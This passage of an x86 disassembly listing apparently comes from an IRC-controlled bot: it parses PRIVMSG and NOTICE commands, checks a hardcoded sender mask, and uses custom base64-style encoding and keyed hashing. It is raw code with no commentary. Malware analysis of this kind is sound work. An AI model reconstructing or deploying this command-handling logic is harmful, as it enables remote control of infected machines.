		cmp	[ebp+var_8C], 0
		jz	loc_40E4CC
		and	[ebp+var_7D8], 0
		jmp	short loc_40E41A
; ---------------------------------------------------------------------------


loc_40E40D:				; CODE XREF: sub_40D871:loc_40E4C7j
		mov	eax, [ebp+var_7D8]
		inc	eax
		mov	[ebp+var_7D8], eax


loc_40E41A:				; CODE XREF: sub_40D871+B9Aj
		cmp	[ebp+var_7D8], 10h
		jnb	loc_40E4CC
		mov	eax, [ebp+var_7D8]
		mov	ecx, [ebp+arg_10]
		cmp	dword ptr [ecx+eax*4], 0
		jnz	short loc_40E43B
		jmp	loc_40E4CC
; ---------------------------------------------------------------------------


loc_40E43B:				; CODE XREF: sub_40D871+BC3j
		mov	eax, [ebp+var_88]
		add	eax, [ebp+var_80]
		mov	ecx, [ebp+var_7D8]
		mov	edx, [ebp+arg_10]
		cmp	[edx+ecx*4], eax
		jb	short loc_40E4C7
		cmp	[ebp+var_8C], 0
		jz	short loc_40E48F
		cmp	[ebp+var_7D8], 0
		jz	short loc_40E488
		mov	eax, [ebp+var_7D8]
		mov	ecx, [ebp+arg_C]
		push	dword ptr [ecx+eax*4-4]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_7D8]
		mov	edx, [ebp+arg_10]
		mov	ecx, [edx+ecx*4-4]
		and	byte ptr [ecx+eax], 0


loc_40E488:				; CODE XREF: sub_40D871+BF1j
		and	[ebp+var_8C], 0


loc_40E48F:				; CODE XREF: sub_40D871+BE8j
		mov	eax, [ebp+var_7D8]
		mov	ecx, [ebp+arg_10]
		mov	eax, [ecx+eax*4]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_7D8]
		mov	ecx, [ebp+arg_C]
		mov	eax, [ecx+eax*4]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_7D8]
		mov	ecx, [ebp+arg_10]
		and	dword ptr [ecx+eax*4], 0
		mov	eax, [ebp+var_7D8]
		mov	ecx, [ebp+arg_C]
		and	dword ptr [ecx+eax*4], 0


loc_40E4C7:				; CODE XREF: sub_40D871+BDFj
		jmp	loc_40E40D
; ---------------------------------------------------------------------------


loc_40E4CC:				; CODE XREF: sub_40D871+B8Dj
					; sub_40D871+BB0j ...
		push	offset byte_41EF28
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+8]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40E513
		mov	eax, [ebp+arg_10]
		add	eax, 0Ch
		push	eax
		mov	eax, [ebp+arg_C]
		add	eax, 0Ch
		push	eax
		lea	eax, [ebp+var_7C]
		push	eax
		push	[ebp+var_84]
		push	[ebp+var_90]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_40A9CF
		add	esp, 1Ch
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40E513:				; CODE XREF: sub_40D871+C6Fj
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+10h], 0
		jnz	short loc_40E521
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40E521:				; CODE XREF: sub_40D871+CA9j
		and	[ebp+var_7DC], 0
		push	offset asc_41A070 ; "*"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40E54A
		mov	[ebp+var_7DC], 1
		jmp	loc_40E5DE
; ---------------------------------------------------------------------------


loc_40E54A:				; CODE XREF: sub_40D871+CCBj
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		push	offset byte_41EF28
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_40E56C
		mov	[ebp+var_7DC], 1
		jmp	short loc_40E5DE
; ---------------------------------------------------------------------------


loc_40E56C:				; CODE XREF: sub_40D871+CF0j
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416B40	; strlen
		pop	ecx
		cmp	eax, 4
		ja	short loc_40E5DE
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+arg_C]
		mov	ecx, [ecx+0Ch]
		movsx	eax, byte ptr [ecx+eax-1]
		cmp	eax, 25h
		jnz	short loc_40E5DE
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+arg_C]
		mov	ecx, [ecx+0Ch]
		and	byte ptr [ecx+eax-1], 0
		call	sub_410422
		xor	edx, edx
		push	64h
		pop	ecx
		div	ecx
		inc	edx
		mov	[ebp+var_7E0], edx
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416B9C	; atoi
		pop	ecx
		cmp	eax, [ebp+var_7E0]
		jl	short loc_40E5DE
		mov	[ebp+var_7DC], 1


loc_40E5DE:				; CODE XREF: sub_40D871+CD4j
					; sub_40D871+CF9j ...
		movzx	eax, [ebp+var_7DC]
		test	eax, eax
		jz	short loc_40E615
		mov	eax, [ebp+arg_10]
		add	eax, 10h
		push	eax
		mov	eax, [ebp+arg_C]
		add	eax, 10h
		push	eax
		lea	eax, [ebp+var_7C]
		push	eax
		push	[ebp+var_84]
		push	[ebp+var_90]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_40A9CF
		add	esp, 1Ch


loc_40E615:				; CODE XREF: sub_40D871+31j
					; sub_40D871+4Cj ...
		pop	edi
		leave
		retn
sub_40D871	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E618	proc near		; CODE XREF: sub_40C93C+A8p
					; sub_40D871+87Fp ...

var_1194	= dword	ptr -1194h
var_1190	= dword	ptr -1190h
var_118C	= byte ptr -118Ch
var_1180	= dword	ptr -1180h
var_114C	= dword	ptr -114Ch
var_1148	= dword	ptr -1148h
var_1144	= dword	ptr -1144h
var_113C	= dword	ptr -113Ch
var_1138	= dword	ptr -1138h
var_1109	= byte ptr -1109h
var_1108	= byte ptr -1108h
var_1089	= byte ptr -1089h
var_1088	= byte ptr -1088h
var_88		= dword	ptr -88h
var_84		= byte ptr -84h
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1194h
		call	sub_416BC0
		and	[ebp+var_4], 0
		push	10h
		lea	eax, [ebp+var_118C]
		push	eax
		lea	eax, [ebp+var_1148]
		push	eax
		lea	eax, [ebp+var_1088]
		push	eax
		push	[ebp+arg_0]
		call	sub_407928
		add	esp, 14h
		push	offset a302	; "302"
		push	[ebp+var_1144]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40E66D
		mov	dword_41EA8C, 1
		jmp	short loc_40E674
; ---------------------------------------------------------------------------


loc_40E66D:				; CODE XREF: sub_40E618+47j
		and	dword_41EA8C, 0


loc_40E674:				; CODE XREF: sub_40E618+53j
		cmp	[ebp+var_1148],	0
		jz	short loc_40E686
		cmp	[ebp+var_1144],	0
		jnz	short loc_40E68B


loc_40E686:				; CODE XREF: sub_40E618+63j
		jmp	locret_40E941
; ---------------------------------------------------------------------------


loc_40E68B:				; CODE XREF: sub_40E618+6Cj
		push	offset aPrivmsg	; "PRIVMSG"
		push	[ebp+var_1144]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40E6BB
		push	offset aNotice	; "NOTICE"
		push	[ebp+var_1144]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40E7A5


loc_40E6BB:				; CODE XREF: sub_40E618+87j
		cmp	[ebp+var_113C],	0
		jz	loc_40E7A5
		cmp	[ebp+var_1138],	0
		jnz	loc_40E7A5
		mov	eax, [ebp+var_113C]
		movsx	eax, byte ptr [eax]
		cmp	eax, 3Ah
		jnz	loc_40E7A5
		mov	eax, [ebp+var_113C]
		movsx	eax, byte ptr [eax+1]
		cmp	eax, 3Dh
		jnz	loc_40E7A5
		mov	eax, [ebp+var_113C]
		movsx	eax, byte ptr [eax+2]
		test	eax, eax
		jz	loc_40E7A5
		mov	eax, [ebp+var_113C]
		inc	eax
		inc	eax
		push	eax
		call	sub_40EC96
		pop	ecx
		test	eax, eax
		jz	loc_40E7A5
		mov	eax, [ebp+var_113C]
		inc	eax
		push	eax
		mov	eax, [ebp+var_113C]
		inc	eax
		inc	eax
		push	eax
		call	sub_40E9C9
		pop	ecx
		pop	ecx
		mov	[ebp+var_1190],	eax
		push	[ebp+var_1190]
		mov	eax, [ebp+var_113C]
		inc	eax
		push	eax
		call	sub_40F040
		pop	ecx
		pop	ecx
		mov	[ebp+var_1190],	eax
		push	[ebp+var_1190]
		mov	eax, [ebp+var_113C]
		inc	eax
		push	eax
		call	sub_40EF41
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_113C]
		add	eax, [ebp+var_1190]
		and	byte ptr [eax+1], 0
		push	0Dh
		lea	eax, [ebp+var_1180]
		push	eax
		lea	eax, [ebp+var_113C]
		push	eax
		push	[ebp+var_1180]
		push	[ebp+var_113C]
		call	sub_407928
		add	esp, 14h


loc_40E7A5:				; CODE XREF: sub_40E618+9Dj
					; sub_40E618+AAj ...
		push	offset aLinkLink@link ;	"link!link@link"
		push	[ebp+var_1148]
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_40E853
		and	[ebp+var_1194],	0
		jmp	short loc_40E7D5
; ---------------------------------------------------------------------------


loc_40E7C8:				; CODE XREF: sub_40E618+234j
		mov	eax, [ebp+var_1194]
		inc	eax
		mov	[ebp+var_1194],	eax


loc_40E7D5:				; CODE XREF: sub_40E618+1AEj
		mov	eax, [ebp+var_1194]
		cmp	off_41DB18[eax*4], 0
		jnz	short loc_40E7E7
		jmp	short loc_40E851
; ---------------------------------------------------------------------------


loc_40E7E7:				; CODE XREF: sub_40E618+1CBj
		mov	eax, [ebp+var_1194]
		push	off_41DB18[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_1194]
		push	off_41DB18[eax*4]
		mov	eax, [ebp+var_1148]
		inc	eax
		push	eax
		call	sub_40A5BE
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_40E839
		mov	eax, [ebp+var_1194]
		push	off_41DB18[eax*4]
		call	sub_4105AD
		pop	ecx
		mov	[ebp+var_4], 1
		jmp	short loc_40E851
; ---------------------------------------------------------------------------


loc_40E839:				; CODE XREF: sub_40E618+203j
		mov	eax, [ebp+var_1194]
		push	off_41DB18[eax*4]
		call	sub_4105AD
		pop	ecx
		jmp	loc_40E7C8
; ---------------------------------------------------------------------------


loc_40E851:				; CODE XREF: sub_40E618+1CDj
					; sub_40E618+21Fj
		jmp	short loc_40E85A
; ---------------------------------------------------------------------------


loc_40E853:				; CODE XREF: sub_40E618+1A1j
		mov	[ebp+var_4], 1


loc_40E85A:				; CODE XREF: sub_40E618:loc_40E851j
		and	[ebp+var_88], 0
		mov	[ebp+var_114C],	1
		jmp	short loc_40E87A
; ---------------------------------------------------------------------------


loc_40E86D:				; CODE XREF: sub_40E618:loc_40E90Aj
		mov	eax, [ebp+var_114C]
		inc	eax
		mov	[ebp+var_114C],	eax


loc_40E87A:				; CODE XREF: sub_40E618+253j
		cmp	[ebp+var_114C],	80h
		jge	loc_40E90F
		mov	eax, [ebp+var_1148]
		add	eax, [ebp+var_114C]
		movsx	eax, byte ptr [eax]
		cmp	eax, 21h
		jnz	short loc_40E8B6
		mov	[ebp+var_88], 1
		mov	eax, [ebp+var_114C]
		and	byte ptr [ebp+eax+var_88+3], 0


loc_40E8B6:				; CODE XREF: sub_40E618+284j
		cmp	[ebp+var_88], 0
		jnz	short loc_40E8DA
		mov	eax, [ebp+var_1148]
		add	eax, [ebp+var_114C]
		mov	ecx, [ebp+var_114C]
		mov	al, [eax]
		mov	byte ptr [ebp+ecx+var_88+3], al


loc_40E8DA:				; CODE XREF: sub_40E618+2A5j
		mov	eax, [ebp+var_1148]
		add	eax, [ebp+var_114C]
		mov	ecx, [ebp+var_114C]
		mov	al, [eax]
		mov	[ebp+ecx+var_1109], al
		mov	eax, [ebp+var_1148]
		add	eax, [ebp+var_114C]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40E90A
		jmp	short loc_40E90F
; ---------------------------------------------------------------------------


loc_40E90A:				; CODE XREF: sub_40E618+2EEj
		jmp	loc_40E86D
; ---------------------------------------------------------------------------


loc_40E90F:				; CODE XREF: sub_40E618+26Cj
					; sub_40E618+2F0j
		and	[ebp+var_5], 0
		and	[ebp+var_1089],	0
		lea	eax, [ebp+var_118C]
		push	eax
		lea	eax, [ebp+var_1148]
		push	eax
		lea	eax, [ebp+var_1108]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		push	[ebp+var_4]
		call	sub_40D871
		add	esp, 14h

locret_40E941:				; CODE XREF: sub_40E618:loc_40E686j
		leave
		retn
sub_40E618	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E943	proc near		; CODE XREF: sub_4167F1+2C9p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_40E94E:				; CODE XREF: sub_40E943+32j
		mov	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40E960
		jmp	short locret_40E977
; ---------------------------------------------------------------------------


loc_40E960:				; CODE XREF: sub_40E943+19j
		push	[ebp+var_8]
		call	sub_407B5E
		pop	ecx
		mov	[ebp+var_4], eax
		push	[ebp+var_8]
		call	sub_40E618
		pop	ecx
		jmp	short loc_40E94E
; ---------------------------------------------------------------------------

locret_40E977:				; CODE XREF: sub_40E943+1Bj
		leave
		retn
sub_40E943	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E979	proc near		; CODE XREF: sub_4167F1+E4p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_40E98A
; ---------------------------------------------------------------------------


loc_40E983:				; CODE XREF: sub_40E979+24j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40E98A:				; CODE XREF: sub_40E979+8j
		cmp	[ebp+var_4], 100h
		jnb	short loc_40E99F
		mov	eax, [ebp+var_4]
		and	byte_41EA90[eax], 0
		jmp	short loc_40E983
; ---------------------------------------------------------------------------


loc_40E99F:				; CODE XREF: sub_40E979+18j
		and	[ebp+var_4], 0
		jmp	short loc_40E9AC
; ---------------------------------------------------------------------------


loc_40E9A5:				; CODE XREF: sub_40E979+4Cj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40E9AC:				; CODE XREF: sub_40E979+2Aj
		cmp	[ebp+var_4], 40h
		jnb	short locret_40E9C7
		mov	eax, [ebp+var_4]
		movzx	eax, byte_41A18C[eax]
		mov	cl, byte ptr [ebp+var_4]
		mov	byte_41EA90[eax], cl
		jmp	short loc_40E9A5
; ---------------------------------------------------------------------------

locret_40E9C7:				; CODE XREF: sub_40E979+37j
		leave
		retn
sub_40E979	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E9C9	proc near		; CODE XREF: sub_40A9CF+34Cp
					; sub_40A9CF+E18p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 2
		jnb	short loc_40E9E8
		xor	eax, eax
		jmp	locret_40EB4C
; ---------------------------------------------------------------------------


loc_40E9E8:				; CODE XREF: sub_40E9C9+16j
		and	[ebp+var_4], 0
		and	[ebp+var_8], 0


loc_40E9F0:				; CODE XREF: sub_40E9C9+17Aj
		push	1
		pop	eax
		test	eax, eax
		jz	loc_40EB48
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, [ebp+var_C]
		jnb	short loc_40EA29
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		movzx	eax, byte_41EA90[eax]
		shl	eax, 2
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	[ecx-1], al
		jmp	short loc_40EA2E
; ---------------------------------------------------------------------------


loc_40EA29:				; CODE XREF: sub_40E9C9+40j
		jmp	loc_40EB48
; ---------------------------------------------------------------------------


loc_40EA2E:				; CODE XREF: sub_40E9C9+5Ej
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_C]
		jnb	short loc_40EA66
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		movzx	eax, byte_41EA90[eax]
		sar	eax, 4
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	cl, [ecx-1]
		or	cl, al
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		mov	[eax-1], cl
		jmp	short loc_40EA6B
; ---------------------------------------------------------------------------


loc_40EA66:				; CODE XREF: sub_40E9C9+72j
		jmp	loc_40EB48
; ---------------------------------------------------------------------------


loc_40EA6B:				; CODE XREF: sub_40E9C9+9Bj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, [ebp+var_C]
		jnb	short loc_40EA99
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		movzx	eax, byte_41EA90[eax]
		shl	eax, 4
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	[ecx-1], al
		jmp	short loc_40EA9E
; ---------------------------------------------------------------------------


loc_40EA99:				; CODE XREF: sub_40E9C9+B0j
		jmp	loc_40EB48
; ---------------------------------------------------------------------------


loc_40EA9E:				; CODE XREF: sub_40E9C9+CEj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_C]
		jnb	short loc_40EAD6
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		movzx	eax, byte_41EA90[eax]
		sar	eax, 2
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	cl, [ecx-1]
		or	cl, al
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		mov	[eax-1], cl
		jmp	short loc_40EAD8
; ---------------------------------------------------------------------------


loc_40EAD6:				; CODE XREF: sub_40E9C9+E2j
		jmp	short loc_40EB48
; ---------------------------------------------------------------------------


loc_40EAD8:				; CODE XREF: sub_40E9C9+10Bj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, [ebp+var_C]
		jnb	short loc_40EB06
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		movzx	eax, byte_41EA90[eax]
		shl	eax, 6
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	[ecx-1], al
		jmp	short loc_40EB08
; ---------------------------------------------------------------------------


loc_40EB06:				; CODE XREF: sub_40E9C9+11Dj
		jmp	short loc_40EB48
; ---------------------------------------------------------------------------


loc_40EB08:				; CODE XREF: sub_40E9C9+13Bj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_C]
		jnb	short loc_40EB3A
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	cl, [ecx-1]
		or	cl, byte_41EA90[eax]
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		mov	[eax-1], cl
		jmp	short loc_40EB3C
; ---------------------------------------------------------------------------


loc_40EB3A:				; CODE XREF: sub_40E9C9+14Cj
		jmp	short loc_40EB48
; ---------------------------------------------------------------------------


loc_40EB3C:				; CODE XREF: sub_40E9C9+16Fj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		jmp	loc_40E9F0
; ---------------------------------------------------------------------------


loc_40EB48:				; CODE XREF: sub_40E9C9+2Cj
					; sub_40E9C9:loc_40EA29j ...
		mov	eax, [ebp+var_4]
		dec	eax

locret_40EB4C:				; CODE XREF: sub_40E9C9+1Aj
		leave
		retn
sub_40E9C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EB4E	proc near		; CODE XREF: sub_40A9CF+292p
					; sub_40A9CF+D12p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		and	[ebp+var_4], 0
		and	[ebp+var_8], 0
		and	[ebp+var_C], 0


loc_40EB60:				; CODE XREF: sub_40EB4E:loc_40EC83j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		sar	eax, 2
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_C]
		mov	al, byte_41A18C[eax]
		mov	[ecx], al
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		shl	eax, 4
		and	eax, 30h
		mov	[ebp+var_4], al
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_8]
		jnz	short loc_40EBC2
		movzx	eax, [ebp+var_4]
		or	al, 1
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_C]
		mov	al, byte_41A18C[eax]
		mov	[ecx], al
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		jmp	loc_40EC88
; ---------------------------------------------------------------------------


loc_40EBC2:				; CODE XREF: sub_40EB4E+52j
		movzx	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		movzx	ecx, byte ptr [ecx]
		sar	ecx, 4
		and	ecx, 0Fh
		or	eax, ecx
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_C]
		mov	al, byte_41A18C[eax]
		mov	[ecx], al
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		shl	eax, 2
		and	eax, 3Ch
		mov	[ebp+var_4], al
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_8]
		jnz	short loc_40EC2A
		movzx	eax, [ebp+var_4]
		or	al, 1
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_C]
		mov	al, byte_41A18C[eax]
		mov	[ecx], al
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		jmp	short loc_40EC88
; ---------------------------------------------------------------------------


loc_40EC2A:				; CODE XREF: sub_40EB4E+BDj
		movzx	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		movzx	ecx, byte ptr [ecx]
		sar	ecx, 6
		or	eax, ecx
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_C]
		mov	al, byte_41A18C[eax]
		mov	[ecx], al
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		and	eax, 3Fh
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_C]
		mov	al, byte_41A18C[eax]
		mov	[ecx], al
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_8]
		jnz	short loc_40EC83
		jmp	short loc_40EC88
; ---------------------------------------------------------------------------


loc_40EC83:				; CODE XREF: sub_40EB4E+131j
		jmp	loc_40EB60
; ---------------------------------------------------------------------------


loc_40EC88:				; CODE XREF: sub_40EB4E+6Fj
					; sub_40EB4E+DAj ...
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_C]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_C]
		leave
		retn
sub_40EB4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EC96	proc near		; CODE XREF: sub_40A9CF+2FAp
					; sub_40E618+FDp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	[ebp+arg_0]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		jmp	short loc_40ECB4
; ---------------------------------------------------------------------------


loc_40ECAD:				; CODE XREF: sub_40EC96+3Aj
					; sub_40EC96+4Aj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40ECB4:				; CODE XREF: sub_40EC96+15j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jge	short loc_40ECE6
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		movzx	eax, byte_41EA90[eax]
		test	eax, eax
		jz	short loc_40ECD2
		jmp	short loc_40ECAD
; ---------------------------------------------------------------------------


loc_40ECD2:				; CODE XREF: sub_40EC96+38j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 41h
		jnz	short loc_40ECE2
		jmp	short loc_40ECAD
; ---------------------------------------------------------------------------


loc_40ECE2:				; CODE XREF: sub_40EC96+48j
		xor	eax, eax
		jmp	short locret_40ECE9
; ---------------------------------------------------------------------------


loc_40ECE6:				; CODE XREF: sub_40EC96+24j
		push	1
		pop	eax

locret_40ECE9:				; CODE XREF: sub_40EC96+4Ej
		leave
		retn
sub_40EC96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ECEB	proc near		; CODE XREF: sub_4167F1+FEp

var_58		= byte ptr -58h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_40F11F
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_40F159
		add	esp, 0Ch
		lea	eax, [ebp+var_58]
		push	eax
		push	offset byte_41EB94
		call	sub_40F26E
		pop	ecx
		pop	ecx
		lea	eax, byte_41EB94
		push	10h
		pop	edx


loc_40ED29:				; CODE XREF: sub_40ECEB+46j
		mov	cl, [eax]
		rol	cl, cl
		mov	[eax], cl
		inc	eax
		dec	edx
		jnz	short loc_40ED29
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40ECEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ED38	proc near		; CODE XREF: sub_40A9CF+14p
					; sub_41113B+159p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		xor	ecx, ecx
		xor	eax, eax


loc_40ED45:				; CODE XREF: sub_40ED38+2Fj
		mov	cl, [esi]
		test	ecx, ecx
		jz	short loc_40ED69
		cmp	ecx, 61h
		jb	short loc_40ED53
		sub	ecx, 20h


loc_40ED53:				; CODE XREF: sub_40ED38+16j
		and	ecx, 7Fh
		add	eax, ecx
		and	ecx, 0Fh
		mov	cl, byte_41EB94[ecx]
		add	eax, ecx
		rol	eax, 3
		inc	esi
		jmp	short loc_40ED45
; ---------------------------------------------------------------------------


loc_40ED69:				; CODE XREF: sub_40ED38+11j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40ED38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ED6E	proc near		; CODE XREF: sub_4167F1+10Cp

var_58		= byte ptr -58h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_40F11F
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_40F159
		add	esp, 0Ch
		lea	eax, [ebp+var_58]
		push	eax
		push	offset dword_41EBA8
		call	sub_40F26E
		pop	ecx
		pop	ecx
		lea	esi, dword_41EBA8
		mov	edi, esi
		push	10h
		pop	ecx


